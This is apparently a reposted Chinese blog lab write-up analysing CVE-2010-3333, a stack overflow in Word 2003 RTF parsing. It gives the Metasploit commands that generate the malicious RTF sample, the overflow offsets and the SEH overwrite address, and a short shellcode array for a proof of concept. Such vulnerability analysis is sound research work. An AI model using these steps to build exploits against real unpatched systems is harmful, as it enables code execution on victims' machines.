CVE-2010-3333 Word RTF 栈溢出漏洞

  1. 实验环境        
    • OS:Windows XP sp3
    • 漏洞软件:Word 2003
    • 工具:x32dbg+IDA 6.8+01Editor+C32ASM
  2. 样本生成
    • msfconsole
    • search cve-2010-3333
    • use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
    • set target 6
    • exploit
  3. 分析过程 

        打开Word 2003并且附加到x32dbg中,并用Word 03打开目标文件(此处是Crack.rtf),发现日志中有异常记录,异常点位于30E9KB88处(位于MSO.dll中)

此处从0x11040004处复制到0x00123DC0处,次数为0x322B次(0xACC8/4),具体情况我们回溯到0x30F4CC96处上面查看到Crack处的函数调用了来自0x30F4CC93处的Call dword ptr [eax+1C] //call sub_30E9EB62()。在IDA Pro中查看30E9EB62(),发现就是简单的调用qmemcpy(dst,src,count)

再次断点到0x30F4CC93处来查看,发现dst是0x00123DC0,src是0x1104000C([0x014D10F0+0x10]),count是0xACC8([0x014D10F0+0x8]),而sub_30F4CC5D()中只有0x14字节的空间(sub_30E9EB62()不开辟新的栈空间),0xACC8早就溢出当前函数的栈空间了,所以此处未对qmemcpy()中的count进行检查而导致栈溢出。

跟踪内存发现,我们复制的内容是Crack.rtf中acc8后的文本(此处文本转成了十六进制,即“41”=》0x41),而前面的“acc8”也刚好对应之前的qmemcpy()的count。

    最后,构造POC,第一时间我想到SEH exploit,恰好通过Mona检测到MSO.dll的SafeSEH是关闭的并且找到0x30CA50A9处作为ROP链首,溢出的SEH处的内容在Crack.rtf中的0x176C0偏移处。

最终得出shellcode。

shellcode={
  \xeb,\x0a,\x90,\x90,\xa9,\x50,\xca,\x30,\x90,\x90,\x90,\x90,
  \x6A,\x00,\x68,\x46,\x75,\x63,\x6B,\x89,\xE0,\x6A,\x00,\x68,\x43,\x61,\x70,\x00,
  \x89,\xE3,\x6A,\x00,\x53,\x50,\x6A,\x00,\xBA,\x30,\x1C,\xC9,\x30,\x8B,\x12,\xFF,\xD2,\xC3,
}
//shellcode=jmp 0A+\x90*2+ROP address+\x90*4+payload

效果如图所示:

PS:RTF文件格式说明

 

 

 

 

 

 

转载于:https://my.oschina.net/u/3281747/blog/1805288

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值